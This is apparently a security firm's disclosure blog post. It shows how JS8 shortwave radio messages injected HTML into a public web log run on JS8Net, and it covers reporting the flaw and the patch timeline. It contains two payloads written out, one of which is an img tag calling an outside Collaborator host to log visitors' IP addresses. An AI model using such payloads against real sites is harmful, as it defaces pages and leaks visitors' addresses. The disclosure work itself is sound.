The old-school phone whistling is back!

Well, almost, but this audio below isn’t that far off.

 

On July 13th, we discovered an interesting vulnerability. A particular webpage was tracking digital radio chatter and it would display a running log of what its station was hearing. This is a handy tool if you’re into this sort of thing; after all, it’s great to know if your calls are being heard or if there are ongoing conversations that you might want to join. This tool captured whatever it was hearing and inserted it into the webpage. Send a message and a few seconds later it would show up there. If the message included HTML, well that would end up on the webpage too. Classic HTML Injection.

So how does this work?

To deliver an attack like this, you don’t really need the internet at all -you just need a long piece of wire. In our Attacks Over the Air series, published in February 2023, we discussed the wireless issues presented by a basketball scoreboard with a controller that operates at 913 MHz. In this post, we’ll move way, way down in frequency, down into the shortwave radio band. This attack works at 7.078 and 14.078 MHz.

There are many interesting digital signals down here, and JS8 is one of them. JS8 is a popular keyboard-to-keyboard chatting tool for amateur radio. It absolutely excels at enabling direct conversations over long distances and through very poor link conditions. JS8 is itself based on FT8, an extremely popular tool for making simple contacts between stations that can barely hear each other. Night and day, FT8 and JS8 are continually in use.

phreaking-HTML-injection-1
(The past 24 hours of JS8 traffic on 14.078 MHz)

Several weird things happen to signals down in the shortwave band. It’s such a low frequency that at 100 miles above us, the E and F layers of Earth’s ionosphere begin to reflect the radio signal back down to the ground again. The signals bounce between the Earth and the ground several times, like skipping a stone off water. It allows us to hear commercial AM stations on the other side of the planet at night. During the day, this bounce works at higher frequencies too, enabling communication over vast distances. My backyard transmitter and the website’s station are 674 miles apart. One bounce covers that distance easily.

So how do you attack a website with a shortwave signal?

JS8 messages are constructed in ASCII text, all uppercase characters. Most messages are sent to wide groups, such as Skywarn, JS8Chess, or, to reference everyone, simply ALLCALL. Following this, the message can be just about anything. First we build out HTML payload in the editor. We must legally provide our amateur radio callsign for identification (a step that will be ignored by a real attacker) and in the end our final message looks like this:

KJ7YLS: @TEST <DIV STYLE="WIDTH: 500PX;HEIGHT:100PX;COLOR:RED;">HTML INJECTION!</DIV>

We are now ready to transmit. The JS8 software converts this text to binary, adds forward error correction, and modulates the result using Gaussian Frequency Shift Keying, (GFSK). The final product audibly sounds like strange whistling noises. If we open the sound using Audacity, and open a spectrogram, it looks like this:

phreaking-HTML-injection-2

Taking a closer look, you can see the GFSK modulation slowly transitioning from one frequency to another. It also holds at each frequency for a specific length of time. There are eight different frequencies in use here and thus each symbol has eight distinct states. As a result, each symbol can carry three bits at a time. This is illustrated with some labels:

phreaking-HTML-injection-3

We can then send the whistling noise into the microphone of a radio transmitter. Like most amateur and military signals, the audio is delivered using upper-sideband modulation, which is a section of an AM broadcast type of signal. JS8 messages are standardized at several frequencies, and our target listens at 7.078 MHz and 14.078 MHz. We tune the radio to either frequency and send the audiousing 20 watts of power into a 16-guage wire about 30 feet in the air. The signal radiates out into the air, bounces off the ionosphere, and their antenna receives it. Their JS8 software reverses the process and pulls out the ASCII message. It’s at this point that we see the problem.

The website at js8call.n0gq.com logs JS8 traffic. Under the hood, it’s powered by JS8Net, a Python tool that talks directly to the API of the JS8 software. In the repository, the monitor.py script grabs the JS8 messages and places them on the website. At time of writing, it contains the following lines of code at line 859:

# Text
j['text']=j['stuff']['params']['TEXT']
key=str(j['stuff']['time'])
j['id']=':'.join([fmcall,tocall,key,str(j['freq'])])
traffic[key]=json.dumps(j)

j['stuff']['params']['TEXT'] is the ASCII JS8 message pulled from collector.py, which pulls from the API of the JS8 software. After this step, the text in traffic[key] is placed onto the page using Javascript. These steps are fine. The issue occurs in the change in context because there is an assumption that the JS8 traffic, already fully processed by the JS8 software, is ready to go and will not affect the context of the webpage. This is the behavior that we can then exploit.

From start to finish, our attack looks like this:

A few minutes later, our message is logged on the website...

phreaking-HTML-injection-4

The end result is mostly cosmetic. This is a public page, so there’s no session cookies to steal or controls to spoof. Stored XSS is a real possibility too, but after a frustrating morning sending many, many time-consuming payloads (each JS8 message takes several minutes to send) we couldn’t get working Javascript that would execute on the page. I suspect that the JS8net software accidentally blocked many of the key characters and words and our workarounds didn’t seem to fire.

Nevertheless, Burp Suite came in handy here. The ionosphere was cooperative that particular day and bouncing signals pretty well. I knew from other tools that stations in other countries were hearing JS8 traffic from the U.S.. So my next payload was:

KJ7YLS: @ALLCALL <img src="http://727k2w1hfoamqewpm7rpiocu0l6cu2ir.oastify.com" alt="@HB
DN13">

This URL points to a DNS and HTTP listener run by Burp Suite’s Collaborator tool, which we often use during penetration tests for finding out-of-band information leaks. This was no different. Within a few minutes, DNS and HTTP traffic was recorded by the Collaborator Server from users visiting the page in Chile. I also viewed the page to inspect the injection and was logged as well.

phreaking-HTML-injection-5

This was about as far as I wanted to ethically go with the injection. I reported the issue to N0GQ with suggestions on remediation. He got back to me the next day, saying:

"I work in security myself (I do R&D for a network security company in the Bay Area), but I'll have to admit that submitting JS via radio to hack a web site was totally off my radar."

While I waited for the patch to go live, I reflected on a few lines from the JS8Net README:

It's important to note that this part of the software is still very much in the development stage, and may have critical vulnerabilities that make exposing the exposed services to the open Internet a Very Bad Idea. While it certainly will work, it's intended for protected, internal LAN use at this time.

Honestly this is an excellent warning in general, especially for projects that are in progress and have not been thoroughly tested. Vulnerabilities at this point are an “unknown unknown” but the author was primarily thinking about the exposed listeners and APIs in his software. However, we exploited a slightly different type of problem. The README warns that the service should be run inside a LAN and this would indeed protect others from HTML injections and defilement of the webpage. However, a payload with Collaborator payloads would leak the public IP address of anyone viewing the page within their private LAN as well, so that’s a little harder to address.

In short, this is a radio signal attacking a webpage on the Internet. An attacker doesn’t need to fool around with VPNs, Tor, or botnets to try to hide their identity on the Internet. JS8 is so effective at extracting messages -24dB below the noise floor (the whistling literally cannot be audibly heard at this level) that very little power is needed to reach distant stations. One watt of transmission power, on good ionospheric conditions, can go coast-to-coast across the U.S. An attacker could be anywhere in the world. A burst message is all that is needed, so direction-finding would also be difficult. I think that’s about as close to untraceable as you can get with something like this.

Timeline:

  • July 13: discovered the issue, reported to Jeff, applied to MITRE for a CVE
  • July 14: Jeff responds.
  • July 22: Jeff applies a patch to JS8Net on Github.
  • July 25: The patch goes live on the website.
  • Sept 20: the blog post is published.

Jesse Victors is a senior security engineer at Security Innovation. His technical interests include privacy and anonymity systems, password cracking, RF attacks, and applied cryptography. Jesse has also published "The Onion Name System: Tor-powered Decentralized DNS for Tor Onion Services" and spoken at the Privacy-Enhancing Technology Symposium. In the evening you can often find him in virtual reality games, fiddling with amateur radio antennas, and networking with orbiting satellites. Jesse has pursued information security since 2014.